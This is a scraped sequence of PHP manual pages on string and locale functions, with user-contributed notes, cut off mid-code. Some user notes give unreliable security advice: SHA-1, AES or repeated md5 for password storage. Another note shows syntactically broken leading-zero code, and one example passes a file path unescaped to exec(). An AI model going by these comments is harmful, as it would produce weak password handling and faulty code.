The grouping fields contain arrays that define the way numbers should be grouped. For example, the monetary grouping field for the nl_NL locale (in UTF-8 mode with the euro sign), would contain a 2 item array with the values 3 and 3. The higher the index in the array, the farther left the grouping is. If an array element is equal to CHAR_MAX, no further grouping is done. If an array element is equal to 0, the previous element should be used.

Examples

Example #1 localeconv() example

<?php
if (false !== setlocale(LC_ALL, 'nl_NL.UTF-8@euro')) {
    $locale_info = localeconv();
    print_r($locale_info);
}
?>

The above example will output:

Array
(
    [decimal_point] => .
    [thousands_sep] =>
    [int_curr_symbol] => EUR
    [currency_symbol] => €
    [mon_decimal_point] => ,
    [mon_thousands_sep] =>
    [positive_sign] =>
    [negative_sign] => -
    [int_frac_digits] => 2
    [frac_digits] => 2
    [p_cs_precedes] => 1
    [p_sep_by_space] => 1
    [n_cs_precedes] => 1
    [n_sep_by_space] => 1
    [p_sign_posn] => 1
    [n_sign_posn] => 2
    [grouping] => Array
        (
        )

    [mon_grouping] => Array
        (
            [0] => 3
            [1] => 3
        )

)

See Also

  • setlocale() - Set locale information

User Contributed Notes

PixEye at bigfoot dot com 24-Jul-2013 10:35
Instead of using the big function of my old previous post, it is simpler and cleaner to use number_format() and money_format(%n) built-in PHP functions.
verdy_p at wanadoo dot fr 23-Jul-2001 04:13
The C99 standard modified slightly the definition of the international currency symbol, which is now 4 characters long instead of 3 in previous definitions. The fourth character will most often be an ASCII space, but its effective value is the locale-specific spacing character used for numeric grouping (i.e. the one refered by [sep_by_space] and [grouping])...


Strip whitespace (or other characters) from the beginning of a string

  • « localeconv
  • md5_file »
  • PHP Manual
  • String Functions
  • Strip whitespace (or other characters) from the beginning of a string

ltrim

(PHP 4, PHP 5)

ltrim — Strip whitespace (or other characters) from the beginning of a string

Description

string ltrim ( string $str [, string $character_mask ] )

Strip whitespace (or other characters) from the beginning of a string.

Parameters

str

The input string.

character_mask

You can also specify the characters you want to strip, by means of the character_mask parameter. Simply list all characters that you want to be stripped. With .. you can specify a range of characters.

Return Values

This function returns a string with whitespace stripped from the beginning of str. Without the second parameter, ltrim() will strip these characters:

  • " " (ASCII 32 (0x20)), an ordinary space.
  • "\t" (ASCII 9 (0x09)), a tab.
  • "\n" (ASCII 10 (0x0A)), a new line (line feed).
  • "\r" (ASCII 13 (0x0D)), a carriage return.
  • "\0" (ASCII 0 (0x00)), the NUL-byte.
  • "\x0B" (ASCII 11 (0x0B)), a vertical tab.

Examples

Example #1 Usage example of ltrim()

<?php

$text = "\t\tThese are a few words :) ...  ";
$binary = "\x09Example string\x0A";
$hello  = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = ltrim($text);
var_dump($trimmed);

$trimmed = ltrim($text, " \t.");
var_dump($trimmed);

$trimmed = ltrim($hello, "Hdle");
var_dump($trimmed);

// trim the ASCII control characters at the beginning of $binary
// (from 0 to 31 inclusive)
$clean = ltrim($binary, "\x00..\x1F");
var_dump($clean);

?>

The above example will output:

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(30) "These are a few words :) ...  "
string(30) "These are a few words :) ...  "
string(7) "o World"
string(15) "Example string
"

See Also

  • trim() - Strip whitespace (or other characters) from the beginning and end of a string
  • rtrim() - Strip whitespace (or other characters) from the end of a string

User Contributed Notes

mroeling at exed dot nl 08-Apr-2014 07:33
@scion4581

The problem is that the character mask (_stw in your case) isn't a literal string, but a character collection. So all characters within _stw are stripped. In your case this includes the w of weight also.
scion4581 at mail dot ru 12-Mar-2014 06:37
What i found and i can't get why:

$word = 'stw_weight';
echo ltrim($word, 'stw_');

output:  eight instead weight

If anybody know plz let me know
juan at ecogomera dot com 11-Dec-2013 06:55
+=0 not valid for something like 0000-5. Result is 0
dzek dot remove_this at dzek dot eu 25-Jul-2011 10:27
Guys, if += 0 is producing wrong values sometimes, and preg_replace is cpu consuming, then just stick to the main function described on that page, and use:
<?php
$value = ltrim($value, '0');
?>
should be the fastest and most reliable.
I think all those comments can be misleading for begginers checking this page - it's sort of using magic tricks to reinvent the wheel.
Mike 08-Jan-2011 09:03
Keep in mind the amount of resources preg_replace() uses.
I would suggest a simple if statement if you need to parse through large amounts of data.
<?php
function remove_leading_zeros_from_number($number_string) {
  $limit = 9000.1
  $temp = $number
  (float) $temp;
  if ($number < $limit) {
    $number += 0;
  } else {
    preg_replace('~^[0]*([1-9][0-9]*)$~','$1',$number_string)
  }
}
?>

Code is untested, but probably sound.
Usamah M dot Ali (usamah1228 at gmail dot com) 04-Feb-2008 11:42
For those who use right-to-left languages such as Arabic, Hebrew, etc., it's worth mentioning that ltrim() (which stands for left trim) & rtrim() (which stands for right trim) DO NOT work contextually. The nomenclature is rather semantically incorrect. So in an RTL script, ltrim() will trim text from the right direction (i.e. beginning of RTL strings), and rtrim() will trim text from the left direction (i.e. end of RTL strings).
John Sherwood 06-Aug-2006 09:13
To remove leading/trailing zeroes (example: "0123.4560"), doing a += 0 is easier than trim tricks.


Calculates the md5 hash of a given file

  • « ltrim
  • md5 »
  • PHP Manual
  • String Functions
  • Calculates the md5 hash of a given file

md5_file

(PHP 4 >= 4.2.0, PHP 5)

md5_file — Calculates the md5 hash of a given file

Description

string md5_file ( string $filename [, bool $raw_output = false ] )

Calculates the MD5 hash of the file specified by the filename parameter using the » RSA Data Security, Inc. MD5 Message-Digest Algorithm, and returns that hash. The hash is a 32-character hexadecimal number.

Parameters

filename

The filename

raw_output

When TRUE, returns the digest in raw binary format with a length of 16.

Return Values

Returns a string on success, FALSE otherwise.

Changelog

Version | Description
5.1.0 | Changed the function to use the streams API. It means that you can use it with wrappers, like md5_file('http://example.com/..')

Examples

Example #1 Usage example of md5_file()

<?php
$file = 'php-5.3.0alpha2-Win32-VC9-x64.zip';

echo 'MD5 file hash of ' . $file . ': ' . md5_file($file);
?>

See Also

  • md5() - Calculate the md5 hash of a string
  • sha1_file() - Calculate the sha1 hash of a file
  • crc32() - Calculates the crc32 polynomial of a string

User Contributed Notes

tommuhler at yahoo dot com 21-Nov-2013 01:10
Sorry for voting Chris's code down.

It is great, but there are some brackets missing.  If you add more complex conditions than just a mere echo in the top IF ... ELSE structure please include the curly braces ... otherwise php  will choke.

<?php
define('READ_LEN', 4096);

if(files_identical('file1.txt', 'file2.txt')) {
    echo 'files identical';
} else {
    echo 'files not identical';
}

//   pass two file names
//   returns TRUE if files are the same, FALSE otherwise
function files_identical($fn1, $fn2) {
    if(filetype($fn1) !== filetype($fn2))
        return FALSE;

    if(filesize($fn1) !== filesize($fn2))
        return FALSE;

    if(!$fp1 = fopen($fn1, 'rb'))
        return FALSE;

    if(!$fp2 = fopen($fn2, 'rb')) {
        fclose($fp1);
        return FALSE;
    }

    $same = TRUE;
    while (!feof($fp1) and !feof($fp2))
        if(fread($fp1, READ_LEN) !== fread($fp2, READ_LEN)) {
            $same = FALSE;
            break;
        }

    if(feof($fp1) !== feof($fp2))
        $same = FALSE;

    fclose($fp1);
    fclose($fp2);

    return $same;
}
?>
lukasamd at gmail dot com 14-Feb-2012 07:35
It's faster to use md5sum than openssl md5:

<?php
$begin = microtime(true);

$file_path = '../backup_file1.tar.gz';
$result = explode("  ", exec("md5sum $file_path"));
echo "Hash = ".$result[0]."<br />";

# Here 7 other big files (20-300 MB)

$end = microtime(true) - $begin;
echo "Time = $end";
# Time = 4.4475841522217

#Method with openssl
# Time = 12.1463856900543
?>

About 3x faster
Chris 08-Nov-2009 04:24
If you just need to find out if two files are identical, comparing file hashes can be inefficient, especially on large files.  There's no reason to read two whole files and do all the math if the second byte of each file is different.  If you don't need to store the hash value for later use, there may not be a need to calculate the hash value just to compare files.  This can be much faster:

<?php
define('READ_LEN', 4096);

if(files_identical('file1.txt', 'file2.txt'))
    echo 'files identical';
else
    echo 'files not identical';

//   pass two file names
//   returns TRUE if files are the same, FALSE otherwise
function files_identical($fn1, $fn2) {
    if(filetype($fn1) !== filetype($fn2))
        return FALSE;

    if(filesize($fn1) !== filesize($fn2))
        return FALSE;

    if(!$fp1 = fopen($fn1, 'rb'))
        return FALSE;

    if(!$fp2 = fopen($fn2, 'rb')) {
        fclose($fp1);
        return FALSE;
    }

    $same = TRUE;
    while (!feof($fp1) and !feof($fp2))
        if(fread($fp1, READ_LEN) !== fread($fp2, READ_LEN)) {
            $same = FALSE;
            break;
        }

    if(feof($fp1) !== feof($fp2))
        $same = FALSE;

    fclose($fp1);
    fclose($fp2);

    return $same;
}
?>
smartin 12-Mar-2008 01:58
In response to using exec instead for performance (Nov 13 2007 post), It looks like the performance depends on the size of the file.  See the results below using the same script from the original post.  The first hash is with md5_file and the second is with openssl md5.

With a 1MB file:
Hash = df1555ec0c2d7fcad3a03770f9aa238a; time = 0.005006
Hash = df1555ec0c2d7fcad3a03770f9aa238a; time = 0.01498

With a 2MB file:

Hash = 4387904830a4245a8ab767e5937d722c; time = 0.010393
Hash = 4387904830a4245a8ab767e5937d722c; time = 0.016691

With a 10MB file:

Hash = b89f948e98f3a113dc13fdbd3bdb17ef; time = 0.241907
Hash = b89f948e98f3a113dc13fdbd3bdb17ef; time = 0.037597

Performance seems to change proportionally with the file size.  Judging from the previous post's default file name (.mov) he/she was probably dealing with a large file.  These are just quick tests and far from a perfect benchmark, but you might want to test your own files before assuming that the openssl solution is faster (ie, if working with small text files vs. movies, etc)
potsed [at] gmail [dot] com 27-May-2007 01:12
Heres a function to give an md5 for an entire directory..

function MD5_DIR($dir)
{
    if (!is_dir($dir))
    {
        return false;
    }

    $filemd5s = array();
    $d = dir($dir);

    while (false !== ($entry = $d->read()))
    {
        if ($entry != '.' && $entry != '..')
        {
             if (is_dir($dir.'/'.$entry))
             {
                 $filemd5s[] = MD5_DIR($dir.'/'.$entry);
             }
             else
             {
                 $filemd5s[] = md5_file($dir.'/'.$entry);
             }
         }
    }
    $d->close();
    return md5(implode('', $filemd5s));
}
richard at interlink dot com dot au 16-Nov-2004 09:57
For those of you with PHP 4 that want to output the "raw" 128 bit hash, all you need to do is send it to pack to convert the hex string into the raw output.

ie:
$filename="checkthisfile.bin";
$rawhash=pack("H*",md5_file($filename));


Calculate the md5 hash of a string

  • « md5_file
  • metaphone »
  • PHP Manual
  • String Functions
  • Calculate the md5 hash of a string

md5

(PHP 4, PHP 5)

md5 — Calculate the md5 hash of a string

Description

string md5 ( string $str [, bool $raw_output = false ] )

Calculates the MD5 hash of str using the » RSA Data Security, Inc. MD5 Message-Digest Algorithm, and returns that hash.

Parameters

str

The string.

raw_output

If the optional raw_output is set to TRUE, then the md5 digest is instead returned in raw binary format with a length of 16.

Return Values

Returns the hash as a 32-character hexadecimal number.

Examples

Example #1 A md5() example

<?php
$str = 'apple';

if (md5($str) === '1f3870be274f6c49b3e31a0c6728957f') {
    echo "Would you like a green or red apple?";
}
?>

Notes

Note: Secure password hashing

It is not recommended to use this function to secure passwords, due to the fast nature of this hashing algorithm. See here for details.

See Also

  • md5_file() - Calculates the md5 hash of a given file
  • sha1_file() - Calculate the sha1 hash of a file
  • crc32() - Calculates the crc32 polynomial of a string
  • sha1() - Calculate the sha1 hash of a string
  • hash() - Generate a hash value (message digest)
  • crypt() - One-way string hashing
  • password_hash() - Creates a password hash

User Contributed Notes

rafael59 15-Apr-2014 08:18
<?php
$str = "string";
echo md5($str);
?>
rahul dot giri64 at gmail dot com 02-Mar-2014 03:48
Requested to every php programmer ,  never ever ever  use md5() to  encrypt your passwords. it's not safe.

Go for either one of this -

1)  SHA-1
2)   SHA-2(SHA-256 , SHA-512)
3) Whirlpool
4) Tiger
5) AES
6)blowfish (recommended 'it's , secure, free and easy)

I wish you safe internet life , thanks  :)
rahul dot giri64 at gmail dot com 02-Mar-2014 03:48
Requested to every php programmer ,  never ever ever  use md5() to  encrypt your passwords. it's not safe.

Go for either one of them -

1)  SHA-1
2)   SHA-2(SHA-256 , SHA-512)
3) Whirlpool
4) Tiger
5) AES
6)blowfish (recommended 'it's , secure, free and easy)

I wish you safe internet life , thanks  :)
programings at abv dot bg 02-Jul-2013 03:25
This recursive function allow you to hash something in depth using md5().

<?php
function checksum($what, $depth = 1) {
$depth--;
if (!$depth)
return md5($what);
else
return md5(checksum($what, $depth));
}
?>

The function hashed the previous hash to md5() again and again for number of times and returns the last received hash.

Example usage:

<?php
for ($i = 1; $i <= 10; $i++) {
echo "$i. ".checksum("test", $i)."<br />";
}
?>

It can be used for security purposes.
Anonymous 03-May-2011 07:28
This is not encryption..... it's only a sort of DIGEST
John 18-Nov-2009 12:08
If you want to hash a large amount of data you can use the hash_init/hash_update/hash_final functions.

This allows you to hash chunks/parts/incremental or whatever you like to call it.
admin at gadelkareem dot com 15-Jan-2008 05:16
MySQL MD() will not give you the same hash if character set is different.
ex :
<?php
#suppose table_name CHARSET=UTF8
#$md5 = md5('Städte'); # will give you a different hash than MySQL MD5()
#instead use
$md5 = md5(utf8_encode('Städte'));
$r = mysql_query("SELECT *, MD5(`word`) FROM `table_name` WHERE MD5(`word`) LIKE '{$md5}'");
if($r)
    while( $row= mysql_fetch_assoc($r) )
        print_r($row);

?>
dionyziz at deviantart dot com 11-Aug-2007 09:24
Sometimes it's useful to get the actual, binary, md5 digest.
You can use this function for it:

<?php

function md5bin( $target ) {
    $md5 = md5( $target );
    $ret = '';

    for ( $i = 0; $i < 32; $i += 2 ) {
        $ret .= chr( hexdec( $md5{ $i + 1 } ) + hexdec( $md5{ $i } ) * 16 );
    }

    return $ret;
}

?>
sebastian dot haller at freesurf dot ch 07-Apr-2007 09:06
It has been found, that hash('md5', 'string'); is faster than md5($string):

http://www.php.net/manual/en/function.hash.php
marzetti dot marco at NOSPAM dot gmail dot com 16-May-2006 12:12
The complement of raw2hex

<?php

function hex2raw( $str ){
  $chunks = str_split($str, 2);
  for( $i = 0; $i < sizeof($chunks); $i++ ) {
        $op .= chr( hexdec( $chunks[$i] ) );
    }
    return $op;
}

?>
terry _at_ scribendi_com 29-Apr-2005 04:39
Do not use the hex strings returned by md5() as a key for MCrypt 256-bit encryption.  Hex characters only represent four bits each, so when you take 32 hex characters, you are only really using a 128-bit key, not a 256-bit one.

Using an alphanumeric key generator [A-Za-z0-9] will also only provide a 192-bit key in 32 characters.

Two different MD5s concatenated in raw binary form, or mcrypt_create_iv(32,MCRYPT_DEV_RANDOM) will give you a true 256-bit key string.
John S. 03-Dec-2004 08:42
If you want to replicate CPAN Digest::MD5's function md5_base64 in PHP, use this code:

<?php

function md5_base64 ( $data )
{
    return preg_replace('/=+$/','',base64_encode(pack('H*',md5($data))));
}

?>
Shane Allen 15-Apr-2003 05:53
From the documentation on Digest::MD5:
md5($data,...)
This function will concatenate all arguments, calculate the MD5 digest of this "message", and return it in binary form.

md5_hex($data,...)
Same as md5(), but will return the digest in hexadecimal form.

PHP's function returns the digest in hexadecimal form, so my guess is that you're using md5() instead of md5_hex(). I have verified that md5_hex() generates the same string as PHP's md5() function.

(original comment snipped in various places)
>Hexidecimal hashes generated with Perl's Digest::MD5 module WILL
>NOT equal hashes generated with php's md5() function if the input
>text contains any non-alphanumeric characters.
>
>$phphash = md5('pa$$');
>echo "php original hash from text: $phphash";
>echo "md5 hash from perl: " . $myrow['password'];
>
>outputs:
>
>php original hash from text: 0aed5d740d7fab4201e885019a36eace
>hash from perl: c18c9c57cb3658a50de06491a70b75cd


Calculate the metaphone key of a string

  • « md5
  • money_format »
  • PHP Manual
  • String Functions
  • Calculate the metaphone key of a string

metaphone

(PHP 4, PHP 5)

metaphone — Calculate the metaphone key of a string

Description

string metaphone ( string $str [, int $phonemes = 0 ] )

Calculates the metaphone key of str.

Similar to soundex() metaphone creates the same key for similar sounding words. It's more accurate than soundex() as it knows the basic rules of English pronunciation. The metaphone generated keys are of variable length.

Metaphone was developed by Lawrence Philips <lphilips at verity dot com>. It is described in ["Practical Algorithms for Programmers", Binstock & Rex, Addison Wesley, 1995].

Parameters

str

The input string.

phonemes

This parameter restricts the returned metaphone key to phonemes characters in length. The default value of 0 means no restriction.

Return Values

Returns the metaphone key as a string, or FALSE on failure.

Examples

Example #1 metaphone() basic example

<?php
var_dump(metaphone('programming'));
var_dump(metaphone('programmer'));
?>

The above example will output something similar to:

string(7) "PRKRMNK"
string(6) "PRKRMR"

Example #2 Using the phonemes parameter

<?php
var_dump(metaphone('programming', 5));
var_dump(metaphone('programmer', 5));
?>

The above example will output something similar to:

string(5) "PRKRM"
string(5) "PRKRM"

User Contributed Notes

isloera at usedformyjunk dot com 27-Sep-2014 03:46
I changed my domain so the code for spanish_methaphone  is here

http://www.ojocaliente.net/spanish_metaphone.php

Please update the link ;-)
isloera at usedformyjunk dot com 27-Sep-2014 03:46
I changed my domain so the code for spanish_methaphone  is here

http://www.ojocaliente.net/spanish_metaphone.php

Please update the link ;-)
Ray.Paseur often uses Gmail 14-Jun-2013 10:03
Metaphone() apparently ignores non-English characters.  Comparing Plaçe TO Place yields "PL" and "PLS."  A similar result comes from soundex().
Vipindas K.S 09-May-2008 06:49
metaphone
=======================
The metaphone() function can be used for spelling applications.This function returns the metaphone key of the string on success, or FALSE on failure.Its main use is when you are searching a genealogy database. check to see if a metaphone search is offered. It is also useful in making/searching family tree.
Given below is a simple code that calculates and compares two strings to find whether its metaphone codes are equivalent.

html code
==========
<html>
<body>
<form action="test.php" name="test" method="get">
Name1:<input type="text" name="name1" /><br />
Name2:<input type="text" name="name2" /><br />
<input type="submit" name="submit" value="compare" />
</form>

<!--php code begins here -->

<?php
if(isset($_GET['submit']))
{
$str1 = $_GET['name1'];
$str2 = $_GET['name2'];
$meta_one=metaphone($str1);
$meta_two=metaphone($str2);
echo "metaphone code for ".$str1." is ". $meta_one;
echo "<br />";
echo "metaphone code for ".$str2." is ". $meta_two."<br>";
if($meta_one==$meta_two)
{
echo "metaphone codes are matching";
}
else
{
echo "metaphone codes are not matching";
}
}
?>

</body>
</html>

Metaphone  algorithm was developed by Lawrence Philips.

Lawrence Philips' RULES follow:

 The 16 consonant sounds:
                                             |--- ZERO represents "th"
                                             |
      B  X  S  K  J  T  F  H  L  M  N  P  R  0  W  Y

 Exceptions:

   Beginning of word: "ae-", "gn", "kn-", "pn-", "wr-"  ----> drop first letter
                      "Aebersold", "Gnagy", "Knuth", "Pniewski", "Wright"

   Beginning of word: "x"                                ----> change to "s"
                                      as in "Deng Xiaopeng"

   Beginning of word: "wh-"                              ----> change to "w"
                                      as in "Whalen"

 Transformations:

   B ----> B      unless at the end of word after "m", as in "dumb", "McComb"

   C ----> X      (sh) if "-cia-" or "-ch-"
           S      if "-ci-", "-ce-", or "-cy-"
                  SILENT if "-sci-", "-sce-", or "-scy-"
           K      otherwise, including in "-sch-"

   D ----> J      if in "-dge-", "-dgy-", or "-dgi-"
           T      otherwise

   F ----> F

   G ---->        SILENT if in "-gh-" and not at end or before a vowel
                            in "-gn" or "-gned"
                            in "-dge-" etc., as in above rule
           J      if before "i", or "e", or "y" if not double "gg"
           K      otherwise

   H ---->        SILENT if after vowel and no vowel follows
                         or after "-ch-", "-sh-", "-ph-", "-th-", "-gh-"
           H      otherwise

   J ----> J

   K ---->        SILENT if after "c"
           K      otherwise

   L ----> L

   M ----> M

   N ----> N

   P ----> F      if before "h"
           P      otherwise

   Q ----> K

   R ----> R

   S ----> X      (sh) if before "h" or in "-sio-" or "-sia-"
           S      otherwise

   T ----> X      (sh) if "-tia-" or "-tio-"
           0      (th) if before "h"
                  silent if in "-tch-"
           T      otherwise

   V ----> F

   W ---->        SILENT if not followed by a vowel
           W      if followed by a vowel

   X ----> KS

   Y ---->        SILENT if not followed by a vowel
           Y      if followed by a vowel

   Z ----> S
php at casadebender dot com 27-Mar-2008 07:24
A double metaphone pecl module is available: http://pecl.php.net/package/doublemetaphone
mail at spam-off dot iaindooley dot com 16-Jan-2004 09:37
you can use the metaphone function quite effectively with phrases by taking the levenshtein distances between two metaphone codes, and then taking this as a percentage of the length of the original metaphone code. thus you can define a percentage error, (say 20%) and accept only matches that are closer than that. i've found this works quite effectively in a function i am using on my website where an album name that the user entered is verified against existing album names that may be similar. this is also an excellent way of people being able to vaguely remember a phrase and get several suggestions out of the database. so you could type "i stiched nine times" with an error percentage of, say, 50 and still get 'a stitch in time saves nine' back as a match.


Formats a number as a currency string

  • « metaphone
  • nl_langinfo »
  • PHP Manual
  • String Functions
  • Formats a number as a currency string

money_format

(PHP 4 >= 4.3.0, PHP 5)

money_format — Formats a number as a currency string

Description

string money_format ( string $format , float $number )

money_format() returns a formatted version of number. This function wraps the C library function strfmon(), with the difference that this implementation converts only one number at a time.

Parameters

format

The format specification consists of the following sequence:

  • a % character

  • optional flags

  • optional field width

  • optional left precision

  • optional right precision

  • a required conversion character

Flags

One or more of the optional flags below can be used:

=f

The character = followed by a (single byte) character f to be used as the numeric fill character. The default fill character is space.

^

Disable the use of grouping characters (as defined by the current locale).

+ or (

Specify the formatting style for positive and negative numbers. If + is used, the locale's equivalent for + and - will be used. If ( is used, negative amounts are enclosed in parenthesis. If no specification is given, the default is +.

!

Suppress the currency symbol from the output string.

-

If present, it will make all fields left-justified (padded to the right), as opposed to the default which is for the fields to be right-justified (padded to the left).

Field width

w

A decimal digit string specifying a minimum field width. Field will be right-justified unless the flag - is used. Default value is 0 (zero).

Left precision

#n

The maximum number of digits (n) expected to the left of the decimal character (e.g. the decimal point). It is used usually to keep formatted output aligned in the same columns, using the fill character if the number of digits is less than n. If the number of actual digits is bigger than n, then this specification is ignored.

If grouping has not been suppressed using the ^ flag, grouping separators will be inserted before the fill characters (if any) are added. Grouping separators will not be applied to fill characters, even if the fill character is a digit.

To ensure alignment, any characters appearing before or after the number in the formatted output such as currency or sign symbols are padded as necessary with space characters to make their positive and negative formats an equal length.

Right precision

.p

A period followed by the number of digits (p) after the decimal character. If the value of p is 0 (zero), the decimal character and the digits to its right will be omitted. If no right precision is included, the default will dictated by the current local in use. The amount being formatted is rounded to the specified number of digits prior to formatting.

Conversion characters

i

The number is formatted according to the locale's international currency format (e.g. for the USA locale: USD 1,234.56).

n

The number is formatted according to the locale's national currency format (e.g. for the de_DE locale: EU1.234,56).

%

Returns the % character.

number

The number to be formatted.

Return Values

Returns the formatted string. Characters before and after the formatting string will be returned unchanged. Non-numeric number causes returning NULL and emitting E_WARNING.

Notes

Note:

The function money_format() is only defined if the system has strfmon capabilities. For example, Windows does not, so money_format() is undefined in Windows.

Note:

The LC_MONETARY category of the locale settings, affects the behavior of this function. Use setlocale() to set to the appropriate default locale before using this function.

Examples

Example #1 money_format() Example

We will use different locales and format specifications to illustrate the use of this function.

<?php

$number = 1234.56;

// let's print the international format for the en_US locale
setlocale(LC_MONETARY, 'en_US');
echo money_format('%i', $number) . "\n";
// USD 1,234.56

// Italian national format with 2 decimals`
setlocale(LC_MONETARY, 'it_IT');
echo money_format('%.2n', $number) . "\n";
// Eu 1.234,56

// Using a negative number
$number = -1234.5672;

// US national format, using () for negative numbers
// and 10 digits for left precision
setlocale(LC_MONETARY, 'en_US');
echo money_format('%(#10n', $number) . "\n";
// ($        1,234.57)

// Similar format as above, adding the use of 2 digits of right
// precision and '*' as a fill character
echo money_format('%=*(#10.2n', $number) . "\n";
// ($********1,234.57)

// Let's justify to the left, with 14 positions of width, 8 digits of
// left precision, 2 of right precision, withouth grouping character
// and using the international format for the de_DE locale.
setlocale(LC_MONETARY, 'de_DE');
echo money_format('%=*^-14#8.2i', 1234.56) . "\n";
// Eu 1234,56****

// Let's add some blurb before and after the conversion specification
setlocale(LC_MONETARY, 'en_GB');
$fmt = 'The final value is %i (after a 10%% discount)';
echo money_format($fmt, 1234.56) . "\n";
// The final value is  GBP 1,234.56 (after a 10% discount)

?>

See Also

  • setlocale() - Set locale information
  • sscanf() - Parses input from a string according to a format
  • sprintf() - Return a formatted string
  • printf() - Output a formatted string
  • number_format() - Format a number with grouped thousands

User Contributed Notes

kaigillmann at googlemail dot com 12-Jun-2014 04:24
If you get "EUR" instead of the euro symbol, set the locale to utf8 charset like this:

<?php
setlocale(LC_MONETARY, 'de_DE.utf8');
echo money_format('%+n', 1234.56);
?>
todoventas at xarxa-cat dot net 09-Jan-2014 12:27
In Rafael M. Salvioni function localeconv(); returns an invalid array in my Windows XP SP3 running PHP 5.4.13 so to prevent the Warning Message: implode(): Invalid arguments passed i just add the $locale manually. For other languages just fill the array with the correct settings.

<?

       $locale = array(
        'decimal_point'        => '.',
        'thousands_sep'        => '',
        'int_curr_symbol'    => 'EUR',
        'currency_symbol'    => '€',
        'mon_decimal_point'    => ',',
        'mon_thousands_sep'    => '.',
        'positive_sign'        => '',
        'negative_sign'     => '-',
        'int_frac_digits'    => 2,
        'frac_digits'        => 2,
        'p_cs_precedes'        => 0,
        'p_sep_by_space'    => 1,
        'p_sign_posn'        => 1,
        'n_sign_posn'        => 1,
        'grouping'            => array(),
        'mon_grouping'        => array(0 => 3, 1 => 3)

    );
?>
jsb17NO at SPAMcornell dot edu 03-Aug-2013 05:10
To drop zero value decimals, use the following:
<?php
    /*
        Same as php number_format(), but if ends in .0, .00, .000, etc... , drops the decimals altogether
        Returns string type, rounded number - same as php number_format()):
        Examples:
            number_format_drop_zero_decimals(54.378, 2) ==> '54.38'
            number_format_drop_zero_decimals(54.00, 2) ==> '54'
     */
    function number_format_drop_zero_decimals($n, $n_decimals)
    {
        return ((floor($n) == round($n, $n_decimals)) ? number_format($n) : number_format($n, $n_decimals));
    }
?>
Results:
number_format_drop_zero_decimals(54.377, 2) ==> 54.38
number_format_drop_zero_decimals('54.377', 2) ==> 54.38
number_format_drop_zero_decimals(54.377, 3) ==> 54.377
number_format_drop_zero_decimals(54.007, 2) ==> 54.01
number_format_drop_zero_decimals(54.000, 2) ==> 54
number_format_drop_zero_decimals(54.00, 2) ==> 54
number_format_drop_zero_decimals(54.0, 2) ==> 54
number_format_drop_zero_decimals(54.1, 2) ==> 54.10
number_format_drop_zero_decimals(54., 2) ==> 54
number_format_drop_zero_decimals(54, 2) ==> 54
number_format_drop_zero_decimals(54, 3) ==> 54
number_format_drop_zero_decimals(54 + .13, 2) ==> 54.13
number_format_drop_zero_decimals(54 + .00, 2) ==> 54
number_format_drop_zero_decimals(54.0007, 4) ==> 54.0007
number_format_drop_zero_decimals(54.0007, 3) ==> 54.001
number_format_drop_zero_decimals(54.00007, 3) ==> 54  //  take notice
~B 18-Aug-2012 01:58
We found that after switching from Ubuntu 10.04 php -v 5.3.2, to Ubuntu 12.04 php -v 5.3.10 this no longer worked:

<?php setlocale(LC_MONETARY, 'en_US'); ?>

Found that using:

<?php setlocale(LC_MONETARY, 'en_US.UTF-8'); ?>

worked find
phpdeveloperbalaji at gmail dot com 28-Sep-2011 10:04
Hi,

For South Asian Currencies, this function could be a handy one.

It will handle negative as well as float(Paise).

<?php
function my_money_format($number)
{
    if(strstr($number,"-"))
    {
        $number = str_replace("-","",$number);
        $negative = "-";
    }

    $split_number = @explode(".",$number);

    $rupee = $split_number[0];
    $paise = @$split_number[1];

    if(@strlen($rupee)>3)
    {
        $hundreds = substr($rupee,strlen($rupee)-3);
        $thousands_in_reverse = strrev(substr($rupee,0,strlen($rupee)-3));
        for($i=0; $i<(strlen($thousands_in_reverse)); $i=$i+2)
        {
            $thousands .= $thousands_in_reverse[$i].$thousands_in_reverse[$i+1].",";
        }
        $thousands = strrev(trim($thousands,","));
        $formatted_rupee = $thousands.",".$hundreds;

    }
    else
    {
        $formatted_rupee = $rupee;
    }

    if((int)$paise>0)
    {
        $formatted_paise = ".".substr($paise,0,2);
    }

    return $negative.$formatted_rupee.$formatted_paise;

}
?>

Thanks,
andrey.dobrozhanskiy [-a-t-] gmail com 07-Jul-2010 06:43
This function divides integer value by commas. F.e.

<?php
echo formatMoney(1050); # 1,050
echo formatMoney(1321435.4, true); # 1,321,435.40
echo formatMoney(10059240.42941, true); # 10,059,240.43
echo formatMoney(13245); # 13,245

function formatMoney($number, $fractional=false) {
    if ($fractional) {
        $number = sprintf('%.2f', $number);
    }
    while (true) {
        $replaced = preg_replace('/(-?\d+)(\d\d\d)/', '$1,$2', $number);
        if ($replaced != $number) {
            $number = $replaced;
        } else {
            break;
        }
    }
    return $number;
}
?>
Rafael M. Salvioni 19-Feb-2009 09:20
This is a some function posted before, however various bugs were corrected.

Thank you to Stuart Roe by reporting the bug on printing signals.

<?php
/*
That it is an implementation of the function money_format for the
platforms that do not it bear.

The function accepts to same string of format accepts for the
original function of the PHP.

(Sorry. my writing in English is very bad)

The function is tested using PHP 5.1.4 in Windows XP
and Apache WebServer.
*/
function money_format($format, $number)
{
    $regex  = '/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?'.
              '(?:#([0-9]+))?(?:\.([0-9]+))?([in%])/';
    if (setlocale(LC_MONETARY, 0) == 'C') {
        setlocale(LC_MONETARY, '');
    }
    $locale = localeconv();
    preg_match_all($regex, $format, $matches, PREG_SET_ORDER);
    foreach ($matches as $fmatch) {
        $value = floatval($number);
        $flags = array(
            'fillchar'  => preg_match('/\=(.)/', $fmatch[1], $match) ?
                           $match[1] : ' ',
            'nogroup'   => preg_match('/\^/', $fmatch[1]) > 0,
            'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ?
                           $match[0] : '+',
            'nosimbol'  => preg_match('/\!/', $fmatch[1]) > 0,
            'isleft'    => preg_match('/\-/', $fmatch[1]) > 0
        );
        $width      = trim($fmatch[2]) ? (int)$fmatch[2] : 0;
        $left       = trim($fmatch[3]) ? (int)$fmatch[3] : 0;
        $right      = trim($fmatch[4]) ? (int)$fmatch[4] : $locale['int_frac_digits'];
        $conversion = $fmatch[5];

        $positive = true;
        if ($value < 0) {
            $positive = false;
            $value  *= -1;
        }
        $letter = $positive ? 'p' : 'n';

        $prefix = $suffix = $cprefix = $csuffix = $signal = '';

        $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign'];
        switch (true) {
